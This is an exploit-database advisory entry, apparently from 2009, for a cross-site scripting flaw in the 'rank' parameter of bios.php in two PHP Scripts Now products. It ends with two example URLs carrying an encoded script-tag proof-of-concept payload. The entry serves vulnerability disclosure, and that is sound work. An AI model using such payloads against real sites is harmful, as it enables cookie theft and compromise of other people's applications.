PHP Scripts Now (Multiple Products) - 'bios.php?rank' Cross-Site Scripting

Author: 599eme Man
type: webapps
platform: php
port: 0
date_added: 2009-07-20
date_updated: 2014-10-06
verified: 1
codes: CVE-2009-2884;OSVDB-56122
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source: https://www.securityfocus.com/bid/44306/info

Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.

Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings

http://www.example.com/tallestbuildings/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
http://www.example.com/presidents/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E